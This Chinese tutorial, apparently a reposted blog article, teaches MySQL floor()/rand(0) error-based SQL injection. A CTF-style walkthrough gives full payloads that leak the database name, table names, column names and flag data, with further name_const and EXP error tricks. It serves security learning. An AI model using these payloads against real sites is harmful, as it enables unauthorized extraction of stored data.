【floor报错注入】

一、sql语句基础

floor

向下取整
请添加图片描述

count

取数据的数量
请添加图片描述

group by

分组查询
请添加图片描述

Rand

随机数
请添加图片描述

limit

请添加图片描述

二、floor报错注入

主键重复报错

我们先了解group by产生的虚拟表的原理,了解到虚拟表的主键是不可以重复的

请添加图片描述
我们再可以通过Rand(0)函数规定固定种子后乘2,再用floor取整让列名出现以下能够不断重复的数列,乘2的目的是为了让
Rand(0)函数取到的大于0.5的函数大于1,从而让数列能够在0和1之间,间歇的出现

请添加图片描述

接着我们就可以在group by的虚拟表中动手了,利用floor(rand(0)*2) 为user表中的每个数据生成种子,再乘以2取整,为虚拟表生成固定的键01101,具体原理看下图,就能实现重复报错:

请,添加图片描述

练习

我们来练习一道题目,练习之前先复习一下我们之前学的判断字符型注入和数字型注入的方法

id=1测试是否有sql注入
id=1'测试数字型sql注入
id=1%23测试字符型sql注入
id=1'%23

我们来看一下这道题,依旧是过滤了union联合查询:
请添加图片描述
通过测试,这是一个数字型注入,找到注入点后,我们就开始注入:
请添加图片描述
因为页面直接回显了报错信息,可以使用报错注入,在使用updatexml或者extractvalue时 提示了过滤,换成floor函数,我们来看一下payload:

#爆库名
id=1 and (select 1 from  (select count(*),concat(database(),floor(rand(0)*2))x from  information_schema.tables group by x)a)%23#爆表名
id=1 and (select 1 from  (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from  information_schema.tables group by x)a)%23#爆列名
id=1 and (select 1 from  (select count(*),concat((select column_name from information_schema.columns where table_name='flag' limit 1,1),floor(rand(0)*2))x from  information_schema.tables group by x)a)%23#拿数据
id=1 and (select 1 from  (select count(*),concat((select flag from flag limit 0,1),floor(rand(0)*2))x from  information_schema.tables group by x)a)%23

我们看到第一个爆库名我们主要的参数还是写在concat里面,and 后面的参数呢和我们的上面的重复报错的例子基本上一样的

select username,count(*) from user group by floor(rand(0)*2);

不同的地方就是我们用concat()把database()和floor()连接起来了:

concat(database(),floor(rand(0)*2))x

x是别名,意思是给我们前面的语句起了个名字,那么x就代表了:

concat(database(),floor(rand(0)*2))

后面的group by x实际上就等同于group by concat(database(),floor(rand(0)*2))

我们直接利用一下payload:

请添加图片描述
这里回显了’web1’,web是我们database()的报错信息,1就是floor(rand(0)*2)的报错信息,只不过我们用concat把他们两都链接起来了,我们接着拿表名:

请添加图片描述
我们成功拿到了flag表名,这里注意一下,我们使用了limit 0,1,我们删掉试试:
请添加图片描述

现在返回的错误显示我们查询的返回超过一行,我们回顾一下上一次我们遇到错误的时候,我们使用group_concat()将我们的多行合并成一行,这里我们需要使用limit因为我们在前面的sql基础讲过limit可以限制sql语句返回的行数,这里我们让他从第零行开始返回一条数据,我们把第零行修改成1,让它返回一条数据,它就把user表输出出来了,我们接着拿列名:
请添加图片描述
拿到列名后,我们直接去那flag列里面的数据:
请添加图片描述
现在我们就拿到了flag,这个flag相对于我们上一次的extractvalue拥有的长度限制,在floor里是没有这个限制的,可以一次性的把全部都输出:
请添加图片描述

三、MySql特性

列名重复

Name_const()函数是给变量赋值的,我们看一下下面的实例中的用法就是把test赋值给name,那么我们的name就对应着test,我们看到下面的报错,这里用到了两个Name_const(),产生了两个相同的列名,就导致了报错,爆出了数据库版本号,Name_const()有个限制只能拿到数据库版本号:
请添加图片描述

几何函数

几何函数通常是用来产生溢出错误,比如我们输入一个数字特别大,让mysql执行不了,下面列举了几个报错的函数:

请添加图片描述

我们主要看一下第一个EXP,我们执行一下:
请添加图片描述
我们看到,虽然它报错了,但是没有我们想要的user()数据,比如说没有把我们想要的root@localhost显示出来,只有一个user() ,我们这里注意一下,上面的这些函数,在mysql<5.5.47的版本下是可以显示出我们刚刚的执行结果的,但我们的版本是5.5.53是显示不出来的,但是我们后面会讲解报错盲注,把EXP的报错特性和盲注结合起来的一种注入:
请添加图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1552088.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

Win10之Ubuntu22.04(主机)与Virtual-BOX(宿主win10)网络互通调试(七十九)

简介&#xff1a; CSDN博客专家、《Android系统多媒体进阶实战》一书作者 新书发布&#xff1a;《Android系统多媒体进阶实战》&#x1f680; 优质专栏&#xff1a; Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a; 多媒体系统工程师系列【…

An End-to-End Local Attention Based Model for Table Recognition(ICDAR 2023)

An End-to-End Local Attention Based Model for Table Recognition(ICDAR 2023) 一.前述 作者认为基于Transformer的表格识别模型很难处理大表格的识别&#xff0c;原因是受限于它的全局注意力global attention机制。 基于以上&#xff0c;作者提出了一种局部注意力local a…

.NET Core 高性能并发编程

一、高性能大并发架构设计 .NET Core 是一个高性能、可扩展的开发框架&#xff0c;可以用于构建各种类型的应用程序&#xff0c;包括高性能大并发应用程序。为了设计和开发高性能大并发 .NET Core 应用程序&#xff0c;需要考虑以下几个方面&#xff1a; 1. 异步编程 异步编程…

在线css像素Px到百分比(%)换算器

具体请前往&#xff1a;在线Px转百分比(%)工具--将绝对像素(px)长度单位转换为相对父级元素内尺寸的相对长度单位百分比(%)

PCL 点云模型滤波(圆形)

目录 一、概述 1.1原理 1.2实现步骤 1.3应用场景 二、代码实现 2.1关键函数 2.1.1 生成点云数据 2.1.2 模型滤波函数 2.1.3 可视化函数 2.2完整代码 三、实现效果 PCL点云算法汇总及实战案例汇总的目录地址链接&#xff1a; PCL点云算法与项目实战案例汇总&#xf…

树和二叉树知识点大全及相关题目练习【数据结构】

树和二叉树 要注意树和二叉树是两个完全不同的结构、概念&#xff0c;它们之间不存在包含之类的关系 树的定义 树&#xff08;Tree&#xff09;是n&#xff08;n≥0&#xff09;个结点的有限集&#xff0c;它或为空树&#xff08;n 0&#xff09;&#xff1b;或为非空树&a…

lambda表达式底层实现:反编译LambdaMetafactory + 转储dump + 运行过程 + 反汇编 + 动态指令invokedynamic

一、结论先行 lambda 底层实现机制 1.lambda 表达式的本质&#xff1a;函数式接口的匿名子类的匿名对象 2.lambda表达式是语法糖 语法糖&#xff1a;编码时是lambda简洁的表达式&#xff0c;在字节码期&#xff0c;语法糖会被转换为实际复杂的实现方式&#xff0c;含义不变&am…

基于springboot的数据库原理教学案例案例库管理系统

目录 毕设制作流程功能和技术介绍系统实现截图开发核心技术介绍&#xff1a;使用说明开发步骤编译运行代码执行流程核心代码部分展示可行性分析软件测试详细视频演示源码获取 毕设制作流程 &#xff08;1&#xff09;与指导老师确定系统主要功能&#xff1b; &#xff08;2&am…

PMP--三模--解题--71-80

文章目录 7.成本管理--S曲线--S曲线对累计值进行监督和报告--S曲线可以同时报告成本与进度情况。适用于预测和敏捷项目。14.敏捷--信息发射源--是一种可见的实物展示其向组织内其他成员提供信息在不干扰团队的情况下即时实现知识共享。71、 [单选] 项目经理正在为刚刚进入第三次…

windows配置C++编译环境和VScode C++配置(保姆级教程)

1.安装MinGW-w64 MinGW-w64是一个开源的编译器套件,适用于Windows平台,支持32位和64位应用程序的开发。它包含了GCC编译器、GDB调试器以及其他必要的工具,是C++开发者在Windows环境下进行开发的重要工具。 我找到了一个下载比较快的链接:https://gitcode.com/open-source-…

FastAPI 第九课 -- 表单数据

目录 一. 前言 二. 声明表单数据模型 三. 在路由中接收表单数据 四. 表单数据的验证和文档生成 五. 处理文件上传 一. 前言 在 FastAPI 中&#xff0c;接收表单数据是一种常见的操作&#xff0c;通常用于处理用户通过 HTML 表单提交的数据。 FastAPI 提供了 Form 类型&a…

C++发邮件:如何轻松实现邮件自动化发送?

C发邮件的详细步骤与教程指南&#xff1f;如何在C中发邮件&#xff1f; 无论是定期发送报告、通知客户还是管理内部沟通&#xff0c;自动化邮件系统都能显著提升工作效率。AokSend将详细介绍如何使用C发邮件&#xff0c;实现邮件自动化发送&#xff0c;帮助您轻松管理邮件通信…

车视界系统小程序的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;汽车品牌管理&#xff0c;汽车颜色管理&#xff0c;用户管理&#xff0c;汽车信息管理&#xff0c;汽车订单管理系统管理 微信端账号功能包括&#xff1a;系统首页&#xff0c;汽车信息&#xff0c;我…

4.1、FineReport单元格扩展和父子格

单元格扩展 1、配置数据集 2、纵向扩展 方法一&#xff1a; 方法二&#xff1a; 结果 多个字段纵向 2、横向扩展 方法一&#xff1a; 方法二&#xff1a; 结果 父子格 没什么特殊要求&#xff0c;就保持默认 1、右边的值默认以左边为左父格 2、下边的值默认以上边…

【Windows】如何取消显示Windows聚焦在桌面上生成的“了解此图片”图标

如下图所示&#xff0c;在更换Windows聚焦显示的时候&#xff0c;会在桌面多出一个“了解此图片”的图标&#xff0c;看着很烦&#xff0c;但又因为Windows聚焦自带的壁纸比其他主题的壁纸好看很多。 下面是消除办法&#xff1a; 打开注册表&#xff08;按WindowsR&#xff0…

【COSMO-SkyMed系列的4颗卫星主要用途】

COSMO-SkyMed系列的4颗卫星主要用于提供一个多用途的对地观测平台&#xff0c;服务于民间、公共机构、军事和商业领域。以下是这4颗卫星的主要用途&#xff1a; 民防与环境风险管理&#xff1a; 卫星的高分辨率雷达图像可用于监测自然灾害&#xff0c;如地震、洪水、滑坡等&am…

51单片机学习第六课---B站UP主江协科技

DS18B20 1、基本知识讲解 2、DS18B20读取温度值 main.c #include<regx52.h> #include"delay.h" #include"LCD1602.h" #include"key.h" #include"DS18B20.h"float T; void main () {LCD_Init();LCD_ShowString(1,1,"temp…

汽车革命下半场AI先锋:广汽为新“智”汽车装配大模型“底盘”

汽车革命的上半场是电动化&#xff0c;下半场是智能化&#xff0c;这是全球汽车产业普遍认同的观点。当前&#xff0c;我国汽车产业已经在电动化上半场取得了显著成效&#xff0c;在下半场智能化的全球战场能否胜出&#xff0c;关键看车企的创新意愿和研发实力。 在2024年9月1…

【Orange Pi 5嵌入式应用编程】-用户空间GPIO控制

用户空间GPIO控制 文章目录 用户空间GPIO控制1、嵌入式Linux的GPIO子系统介绍1.1 sysfs文件访问GPIO1.2 通过字符设备访问GPIO1.3 库与工具2、RK3588的GPIO介绍3、用户空间操作GPIO编程3.1 硬件准备3.2 通过libgpio操作GPIO3.2.1 GPIO输出3.2.3 GPIO输入3.2.3 边沿事件检测(中断…

《Windows PE》3.2.3 NT头-扩展头

■扩展头&#xff08;可选标头仅限映像文件&#xff09; OptionalHeader字段描述了可执行文件的更多细节和布局信息&#xff0c;如图像基址、入口点、数据目录、节表等。它的具体结构取决于文件的机器架构&#xff0c;可以是IMAGE_OPTIONAL_HEADER32&#xff08;32位&#xff…